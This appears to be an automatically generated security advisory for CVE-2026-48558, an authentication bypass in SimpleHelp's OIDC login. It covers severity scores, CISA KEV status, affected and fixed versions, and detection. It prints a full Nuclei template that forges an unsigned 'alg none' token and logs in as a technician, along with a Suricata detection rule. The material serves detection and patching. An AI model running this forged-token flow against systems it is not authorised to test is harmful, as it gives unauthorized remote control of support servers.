CVE-2026-48558: SimpleHelp Authentication Bypass Vulnerability

Advisory generated from the CVE record, CISA, Exploit Observer and VEDAS: what it is, whether it is exploited, who is affected, and how to fix and detect it.

Generated by VEDAS. Scores as of 2026-11-01 19:19 UTC. Rebuilt every few hours from cve-scores, CISA KEV and vedas-signatures. How this works and its limits.

What it is

SimpleHelp versions 5.5.15 and prior and 6.0 pre-release versions contain an authentication bypass vulnerability in the OIDC authentication flow. When OIDC authentication is configured, identity tokens submitted during login are accepted without verifying their cryptographic signature. In a vulnerable configuration, a remote, unauthenticated attacker can submit a forged token containing arbitrary identity claims to obtain a fully authenticated technician session. In some configurations, this may also allow bypass of multi-factor authentication. No user interaction is required.

Description quoted from the CVE record (assigned by VulnCheck, published 2026-06-12).

Weakness: Improper Verification of Cryptographic Signature

How it can be exploited

Exploitable over the network with low attack complexity only when specific conditions are present needing no privileges and no user interaction. Impact: confidentiality high, integrity high, availability high. CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H

CISA assessment (SSVC): CISA assesses exploitation as active. Automatable: yes. Technical impact: total.

On CISA KEV since
2026-06-29
US federal deadline
2026-07-02
Ransomware use
Not known

Public exploit evidence (Exploit Observer)

Also known as: EUVD-2026-36509, GHSA-m93h-gjv2-fmq2

VEDAS cluster: VEDAS:DRAGOONVEIN

Exploit Observer links 7 pieces of public exploit code or detection modules that name this CVE or one of its aliases.

Exploit code and modules (7)

Code that names this CVE. A repository can be a working exploit, a scanner, a fake or malware; read it before running anything.

Research and write-ups (3)

Vulnerability databases and vendor advisories (4)

Catalogue entries, not exploit evidence.

News (2)

71 more references returned by Exploit Observer did not name this CVE or an alias, so they are left out.

VEDAS data as of 2026-11-01T17:12 UTC; fetched 2026-11-02.

Live scores

EPSS
0.777
very likely to be attacked soon
VEDAS
0.981
strong exploit evidence
On CISA KEV
Yes, since 2026-06-29
Detection rule
Nuclei · Suricata
EPSS (chance of attack)
100.1CVE-2026-48558 EPSS over time2026-082026-11-01
VEDAS (exploit evidence)
100.9CVE-2026-48558 VEDAS over time2026-082026-11-01

Thin horizontal line: the “likely” (EPSS 0.10) or “strong” (VEDAS 0.90) threshold. Shaded “no data” areas are periods when cve-scores did not publish.

Who is affected

ProductAffectedNot affected
SimpleHelp SimpleHelpfrom 5.5.0 before 5.5.16
from 6.0 before 6.0 RC2
Not stated

Version ranges exactly as the CVE record states them. “Before X” means X is the first fixed version.

Exploit Observer also maps it to: simple-help simplehelp.

How to fix it

Fixed versions stated in the CVE record: 5.5.16, 6.0 RC2.

CISA required action: Apply mitigations in accordance with vendor instructions, ensuring compliance with CISA’s BOD 26-04 Prioritizing Security Updates Based on Risk (see URL in Notes) guidance and CISA’s “Forensics Triage Requirements” (see URL in Notes). Follow applicable BOD 26-04 guidance for cloud services or discontinue use of the product if mitigations are unavailable. Stakeholders are responsible for evaluating each asset’s internet exposure and ensuring adherence to BOD 26-04 patching guidelines.

Vendor guidance:

How to detect it

Nuclei template (active check)

Simplehelp - Authentication Bypass

SimpleHelp versions 5.5.15 and prior and 6.0 pre-release versions contain an authentication bypass vulnerability in the OIDC authentication flow. When OIDC authentication is configured, identity tokens submitted during login are accepted without verifying their cryptographic signature.

Name and description quoted from the template, written by VEDAS.

The template sends 5 requests (GET /auth/v1/account/oidc_get?payload={{oidc_payload_enc}}, POST /oidc, GET /allversions, GET /auth/v1/account/login_options and 1 more); it decides using dsl, json, regex, status matchers. Severity in the template: critical. Marked as not yet verified against a live vulnerable target.

Run it against a host you own or are authorised to test:

bash
nuclei -u https://your-host -t CVE-2026-48558.yaml
Show the template (220 lines)
yaml
id: CVE-2026-48558

info:
  name: "Simplehelp - Authentication Bypass"
  author: vedas-arpsyndicate
  severity: critical
  description: |
    SimpleHelp versions 5.5.15 and prior and 6.0 pre-release versions contain an authentication bypass
    vulnerability in the OIDC authentication flow. When OIDC authentication is configured, identity tokens
    submitted during login are accepted without verifying their cryptographic signature.
  reference:
    - https://www.exploit.observer/?keyword=CVE-2026-48558&match=exact
    - https://subdomain.center/?engine=ammonites&keyword=simplehelp&match=exact
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H
    cvss-score: 10.0
    cve-id: CVE-2026-48558
    cwe-id: CWE-347
  metadata:
    verified: false
  tags: cve,cve2026,simplehelp,auth-bypass,oidc,jwt,kev,vkev,intrusive,vuln
flow: |
  (function () {
    if (!http(1)) { return; }
    var minor = parseInt(template["sh_minor"] || "99");
    if (isNaN(minor) || minor > 15) { return; }

    http(2);
    var providers_raw = template["providers_raw"];
    if (!providers_raw) { return; }

    var providers;
    try {
      providers = JSON.parse(providers_raw);
    } catch (e) { return; }
    if (!providers || !providers[0]) { return; }

    var provider = null;
    for (var i = 0; i < providers.length; i++) {
      if (providers[i]["type"] === "oidc" || providers[i]["type"] === "azure") {
        provider = providers[i];
        break;
      }
    }
    if (!provider) { return; }

    var root = (template["http_1_host"] || "").replace(/\/+$/, "");
    if (!root) { return; }
    provider["callback"] = root + "/webapps/technician/";
    set("oidc_payload_enc", encodeURIComponent(JSON.stringify(provider)));

    http(3);
    var auth_url_str = template["auth_url_raw"] || "";
    var auth_url;
    try {
      auth_url = JSON.parse(auth_url_str);
    } catch (e) {
      auth_url = auth_url_str.replace(/^"/, "").replace(/"$/, "").trim();
    }
    if (!auth_url) { return; }

    var state_m = auth_url.match(/[?&]state=([^&\s"'<>]+)/);
    if (!state_m) { return; }

    var nonce_m = auth_url.match(/[?&]nonce=([^&\s"'<>]+)/);
    var nonce = nonce_m ? nonce_m[1] : "";

    function b64url(s) {
      var CHARS = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789-_";
      var bytes = [];
      for (var c = 0; c < s.length; c++) { bytes.push(s.charCodeAt(c) & 0xFF); }
      var out = "";
      var j = 0;
      while (j < bytes.length) {
        var b0 = bytes[j++];
        var b1 = (j < bytes.length) ? bytes[j++] : -1;
        var b2 = (j < bytes.length) ? bytes[j++] : -1;
        out += CHARS[b0 >> 2];
        out += CHARS[((b0 & 3) << 4) | (b1 < 0 ? 0 : (b1 >> 4))];
        if (b1 >= 0) { out += CHARS[((b1 & 15) << 2) | (b2 < 0 ? 0 : (b2 >> 6))]; }
        if (b2 >= 0) { out += CHARS[b2 & 63]; }
      }
      return out;
    }

    var now = Math.floor(new Date().getTime() / 1000);
    var jwt_header  = {"alg":"none","typ":"JWT"};
    var jwt_payload = {
      "sub":                "probe-cve-2026-48558",
      "preferred_username": "probe-check",
      "name":               "ProbeCheck",
      "email":              "probe-check@probetest.invalid",
      "iat":                now,
      "exp":                now + 3600
    };
    if (nonce) { jwt_payload["nonce"] = nonce; }

    var forged_jwt = b64url(JSON.stringify(jwt_header)) + "." +
                     b64url(JSON.stringify(jwt_payload)) + ".x";

    set("oidc_post_body",
        "state=" + encodeURIComponent(state_m[1]) +
        "&id_token=" + encodeURIComponent(forged_jwt));

    http(4);

    http(5);
  })();

http:
  - method: GET
    path:
      - "{{BaseURL}}/allversions"

    cookie-reuse: true

    matchers:
      - type: regex
        part: body
        regex:
          - "Visual Version:\\s+5\\.5\\.(\\d+)"
        internal: true

    extractors:
      - type: regex
        name: sh_minor
        part: body
        group: 1
        regex:
          - "Visual Version:\\s+5\\.5\\.(\\d+)"
        internal: true

  - method: GET
    path:
      - "{{BaseURL}}/auth/v1/account/login_options"

    cookie-reuse: true

    matchers:
      - type: status
        status:
          - 200
        internal: true

    extractors:
      - type: dsl
        name: providers_raw
        dsl:
          - "body"
        internal: true

  - raw:
      - |
        GET /auth/v1/account/oidc_get?payload={{oidc_payload_enc}} HTTP/1.1
        Host: {{Hostname}}
        Accept: application/json, */*

    cookie-reuse: true

    matchers:
      - type: status
        status:
          - 200
        internal: true

    extractors:
      - type: dsl
        name: auth_url_raw
        dsl:
          - "body"
        internal: true

  - raw:
      - |
        POST /oidc HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

        {{oidc_post_body}}

    cookie-reuse: true
    redirects: false

    matchers:
      - type: dsl
        dsl:
          - "status_code == 200 || status_code == 302"
        internal: true

  - method: GET
    path:
      - "{{BaseURL}}/auth/v1/account/status"

    cookie-reuse: true

    matchers:
      - type: dsl
        dsl:
          - 'status_code == 200'
          - 'contains(body, "FULLY_AUTHENTICATED")'
          - 'contains(body, "\"code\":1") || contains(body, "\"code\": 1")'
        condition: and

    extractors:
      - type: dsl
        dsl:
          - 'username + " | " + email'

      - type: json
        part: body
        json:
          - ".user.username"
        name: username
        internal: true

      - type: json
        part: body
        json:
          - ".user.emailAddress"
        name: email

CVE-2026-48558.yaml on GitHub

Suricata rules (network detection)

1 rule that alert on traffic matching this exploit: VEDAS CVE-2026-48558 Simplehelp - Authentication Bypass. Add them to your Suricata rule set and reload.

Show the rules
suricata
alert http $EXTERNAL_NET any -> $HTTP_SERVERS $HTTP_PORTS (msg:"VEDAS CVE-2026-48558 Simplehelp - Authentication Bypass"; flow:established,to_server; http.uri; content:"/auth/v1/account/oidc_get"; nocase; fast_pattern; content:"payload="; nocase; classtype:web-application-attack; reference:cve,CVE-2026-48558; reference:url,https://www.exploit.observer/?keyword=CVE-2026-48558&match=exact; reference:url,https://subdomain.center/?engine=ammonites&keyword=simplehelp&match=exact; sid:1010237; rev:1;)

CVE-2026-48558.rules on GitHub

References

Vendor advisories and patches

Exploits and technical analysis

Government sources

Other databases

Where this comes from

This advisory is generated automatically by VEDAS from: CVE.org record, CISA KEV, cve-scores (EPSS and VEDAS), Exploit Observer, vedas-signatures. Text in quotes is reproduced from the source; everything else is a fixed template filled with source fields. Nothing here is written by a language model. Check the vendor advisory before acting, and read how VEDAS and Exploit Observer work, and their limits.